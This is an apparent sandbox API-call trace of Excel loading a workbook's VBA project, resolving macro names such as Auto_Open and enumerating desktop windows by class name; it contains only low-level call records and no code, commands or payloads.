	[0055.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10
	[0055.951] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa
	[0055.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=11, lpWideCharStr=0xb87cfc8, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11
	[0055.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="[VBAProject].Auto_Open", cchWideChar=-1, lpMultiByteStr=0x27e840, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[VBAProject].Auto_Open", lpUsedDefaultChar=0x0) returned 23
	[0055.952] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="VBAProject") returned 0x10bfbe
	[0055.952] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xc0ec4b0
	[0055.952] qsort (in: _Base=0xc0ec4b0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d9219c | out: _Base=0xc0ec4b0) 
	[0055.952] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Sheet1", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 1
	[0055.952] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Module1", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 1
	[0055.952] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Sheet1", cchCount1=-1, lpString2="Module1", cchCount2=-1) returned 3
	[0055.952] bsearch (_Key=0x27d758, _Base=0xc0ec4b0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d9219c) returned 0x0
	[0055.952] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3
	[0055.952] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 3
	[0055.952] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="VBAProject", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 2
	[0055.952] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Auto_Open") returned 0x102056
	[0055.952] bsearch (_Key=0x27d758, _Base=0xc0ec4b0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d9219c) returned 0x0
	[0055.952] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Open", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1
	[0055.952] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Open", cchCount1=-1, lpString2="Module1", cchCount2=-1) returned 1
	[0055.952] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Auto_Open", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1
	[0058.340] GetCapture () returned 0x0
	[0058.340] GetCursorPos (in: lpPoint=0x28ee90 | out: lpPoint=0x28ee90*(x=333, y=238)) returned 1
	[0058.340] WindowFromPoint (Point=0xee0000014d) returned 0x20256
	[0058.340] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.340] SendMessageA (hWnd=0x20256, Msg=0x84, wParam=0x0, lParam=0xee014d) returned 0x1
	[0058.341] SendMessageA (hWnd=0x20256, Msg=0x20, wParam=0x20256, lParam=0x2000001) returned 0x0
	[0058.556] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1543, refPtrFlags=0x28ea30, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x38000000c0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x38000000c0) returned 0x0
	[0058.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28ea80, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16
	[0058.556] _mbscpy_s (in: _Dst=0x28e8d0, _DstSizeInBytes=0x1a, _Src=0x685041a | out: _Dst=0x28e8d0) returned 0x0
	[0058.557] _mbscpy_s (in: _Dst=0x28e8da, _DstSizeInBytes=0x10, _Src=0x28ea80 | out: _Dst=0x28e8da) returned 0x0
	[0058.557] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1
	[0058.558] ITypeInfo:RemoteGetDocumentation (in: This=0xbb2bc38, memid=1537, refPtrFlags=0x28ddd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0058.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28de20, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18
	[0058.558] _mbscpy_s (in: _Dst=0x28dc70, _DstSizeInBytes=0x1c, _Src=0x685041a | out: _Dst=0x28dc70) returned 0x0
	[0058.558] _mbscpy_s (in: _Dst=0x28dc7a, _DstSizeInBytes=0x12, _Src=0x28de20 | out: _Dst=0x28dc7a) returned 0x0
	[0058.558] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466
	[0058.727] GetCurrentThreadId () returned 0x8e8
	[0058.727] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0
	[0058.727] GetDesktopWindow () returned 0x10010
	[0058.727] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10140
	[0058.727] GetClassNameA (in: hWnd=0x10140, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20
	[0058.727] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1
	[0058.727] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4
	[0058.727] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a
	[0058.727] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.728] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.728] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c
	[0058.728] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138
	[0058.728] GetClassNameA (in: hWnd=0x10138, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15
	[0058.728] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1
	[0058.728] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c
	[0058.728] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc
	[0058.728] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0058.728] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0058.728] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.728] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8
	[0058.728] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0058.728] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0058.728] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.728] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0
	[0058.728] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0058.728] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0058.728] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.728] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072
	[0058.728] GetClassNameA (in: hWnd=0x10072, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0058.728] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0058.728] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.728] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070
	[0058.728] GetClassNameA (in: hWnd=0x10070, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0058.728] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0058.728] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.728] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c
	[0058.728] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0058.728] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0058.728] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.728] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a
	[0058.728] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0058.728] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0058.728] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.728] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a
	[0058.728] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0058.728] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0058.729] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.729] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078
	[0058.729] GetClassNameA (in: hWnd=0x10078, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0058.729] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0058.729] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.729] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074
	[0058.729] GetClassNameA (in: hWnd=0x10074, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0058.729] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0058.729] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.729] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052
	[0058.729] GetClassNameA (in: hWnd=0x10052, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0058.729] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0058.729] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.729] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e
	[0058.729] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.729] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.729] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.729] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054
	[0058.729] GetClassNameA (in: hWnd=0x10054, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Button") returned 6
	[0058.729] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1
	[0058.729] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.729] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050
	[0058.729] GetClassNameA (in: hWnd=0x10050, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13
	[0058.729] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1
	[0058.729] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.729] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4
	[0058.729] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0058.729] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0058.729] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0
	[0058.729] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a
	[0058.729] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
	[0058.729] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
	[0058.729] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.729] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c
	[0058.729] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20
	[0058.729] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1
	[0058.729] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.730] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6
	[0058.730] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20
	[0058.730] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1
	[0058.730] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428
	[0058.730] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x3022a
	[0058.730] GetClassNameA (in: hWnd=0x3022a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13
	[0058.730] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1
	[0058.730] GetWindowThreadProcessId (in: hWnd=0x3022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.730] GetWindowLongA (hWnd=0x3022a, nIndex=-16) returned -2080374784
	[0058.730] GetWindowLongPtrA (hWnd=0x3022a, nIndex=-6) returned 0x7fef2840000
	[0058.730] GetWindowLongPtrA (hWnd=0x3022a, nIndex=-6) returned 0x7fef2840000
	[0058.730] GetWindow (hWnd=0x3022a, uCmd=0x2) returned 0x302b2
	[0058.730] GetClassNameA (in: hWnd=0x302b2, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18
	[0058.730] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1
	[0058.730] GetWindowThreadProcessId (in: hWnd=0x302b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20
	[0058.730] GetWindow (hWnd=0x302b2, uCmd=0x2) returned 0x2028a
	[0058.730] GetClassNameA (in: hWnd=0x2028a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.730] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.730] GetWindowThreadProcessId (in: hWnd=0x2028a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb34
	[0058.730] GetWindow (hWnd=0x2028a, uCmd=0x2) returned 0x10226
	[0058.730] GetClassNameA (in: hWnd=0x10226, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11
	[0058.730] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1
	[0058.730] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.730] GetWindowLongA (hWnd=0x10226, nIndex=-16) returned -1946157056
	[0058.730] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0
	[0058.730] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0
	[0058.730] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x201a4
	[0058.730] GetClassNameA (in: hWnd=0x201a4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0058.730] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0058.730] GetWindowThreadProcessId (in: hWnd=0x201a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.730] GetWindowLongA (hWnd=0x201a4, nIndex=-16) returned -1946157056
	[0058.730] GetWindowLongPtrA (hWnd=0x201a4, nIndex=-6) returned 0x13f510000
	[0058.730] GetWindowLongPtrA (hWnd=0x201a4, nIndex=-6) returned 0x13f510000
	[0058.730] GetWindow (hWnd=0x201a4, uCmd=0x2) returned 0x40216
	[0058.730] GetClassNameA (in: hWnd=0x40216, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0058.730] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0058.730] GetWindowThreadProcessId (in: hWnd=0x40216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.730] GetWindowLongA (hWnd=0x40216, nIndex=-16) returned 382664704
	[0058.730] GetWindowLongPtrA (hWnd=0x40216, nIndex=-6) returned 0x13f510000
	[0058.730] GetWindowLongPtrA (hWnd=0x40216, nIndex=-6) returned 0x13f510000
	[0058.731] GetWindow (hWnd=0x40216, uCmd=0x2) returned 0x20268
	[0058.731] GetClassNameA (in: hWnd=0x20268, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0058.731] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0058.731] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.731] GetWindowLongA (hWnd=0x20268, nIndex=-16) returned -1778384896
	[0058.731] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0
	[0058.731] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0
	[0058.731] GetWindow (hWnd=0x20268, uCmd=0x2) returned 0x3026a
	[0058.731] GetClassNameA (in: hWnd=0x3026a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0058.731] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0058.731] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.731] GetWindowLongA (hWnd=0x3026a, nIndex=-16) returned -1778384896
	[0058.731] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0
	[0058.731] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0
	[0058.731] GetWindow (hWnd=0x3026a, uCmd=0x2) returned 0x202c6
	[0058.731] GetClassNameA (in: hWnd=0x202c6, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0058.731] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0058.731] GetWindowThreadProcessId (in: hWnd=0x202c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.731] GetWindowLongA (hWnd=0x202c6, nIndex=-16) returned -1778384896
	[0058.731] GetWindowLongPtrA (hWnd=0x202c6, nIndex=-6) returned 0x0
	[0058.731] GetWindowLongPtrA (hWnd=0x202c6, nIndex=-6) returned 0x0
	[0058.731] GetWindow (hWnd=0x202c6, uCmd=0x2) returned 0x20260
	[0058.731] GetClassNameA (in: hWnd=0x20260, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0058.731] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0058.731] GetWindowThreadProcessId (in: hWnd=0x20260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.731] GetWindowLongA (hWnd=0x20260, nIndex=-16) returned -1778384896
	[0058.731] GetWindowLongPtrA (hWnd=0x20260, nIndex=-6) returned 0x0
	[0058.731] GetWindowLongPtrA (hWnd=0x20260, nIndex=-6) returned 0x0
	[0058.731] GetWindow (hWnd=0x20260, uCmd=0x2) returned 0x202b0
	[0058.731] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11
	[0058.731] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1
	[0058.731] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.731] GetWindowLongA (hWnd=0x202b0, nIndex=-16) returned -2080374784
	[0058.731] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5d60000
	[0058.731] IsWindowEnabled (hWnd=0x202b0) returned 1
	[0058.731] GetPropA (hWnd=0x202b0, lpString=0xc13a) returned 0x0
	[0058.731] SetPropA (hWnd=0x202b0, lpString=0xc13a, hData=0x1) returned 1
	[0058.732] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0
	[0058.732] GetWindow (hWnd=0x202b0, uCmd=0x2) returned 0x2026c
	[0058.732] GetClassNameA (in: hWnd=0x2026c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0058.732] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0058.732] GetWindowThreadProcessId (in: hWnd=0x2026c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.732] GetWindowLongA (hWnd=0x2026c, nIndex=-16) returned 1149272145
	[0058.732] GetWindow (hWnd=0x2026c, uCmd=0x2) returned 0x202d4
	[0058.732] GetClassNameA (in: hWnd=0x202d4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14
	[0058.732] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1
	[0058.732] GetWindowThreadProcessId (in: hWnd=0x202d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.732] GetWindowLongA (hWnd=0x202d4, nIndex=-16) returned -2080374784
	[0058.732] GetWindowLongPtrA (hWnd=0x202d4, nIndex=-6) returned 0x7feffa40000
	[0058.733] GetWindowLongPtrA (hWnd=0x202d4, nIndex=-6) returned 0x7feffa40000
	[0058.733] GetWindow (hWnd=0x202d4, uCmd=0x2) returned 0x101e0
	[0058.733] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0058.733] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0058.733] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.733] GetWindowLongA (hWnd=0x101e0, nIndex=-16) returned 382664704
	[0058.733] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f510000
	[0058.733] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f510000
	[0058.733] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x1020a
	[0058.733] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0058.733] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0058.733] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.733] GetWindowLongA (hWnd=0x1020a, nIndex=-16) returned -1778384896
	[0058.733] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0
	[0058.733] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0
	[0058.733] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x1020c
	[0058.733] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0058.733] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0058.733] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.733] GetWindowLongA (hWnd=0x1020c, nIndex=-16) returned -1778384896
	[0058.733] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0
	[0058.733] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0
	[0058.733] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e
	[0058.733] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0058.733] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0058.733] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.733] GetWindowLongA (hWnd=0x1020e, nIndex=-16) returned -1778384896
	[0058.733] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0
	[0058.733] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0
	[0058.733] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10210
	[0058.733] GetClassNameA (in: hWnd=0x10210, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0058.733] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0058.733] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0058.733] GetWindowLongA (hWnd=0x10210, nIndex=-16) returned -1778384896
	[0058.733] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0
	[0058.733] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0
	[0058.733] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10296
	[0058.733] GetClassNameA (in: hWnd=0x10296, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0058.733] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0058.733] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c
	[0058.733] GetWindow (hWnd=0x10296, uCmd=0x2) returned 0x30214
	[0058.734] GetClassNameA (in: hWnd=0x30214, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28
	[0058.734] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1
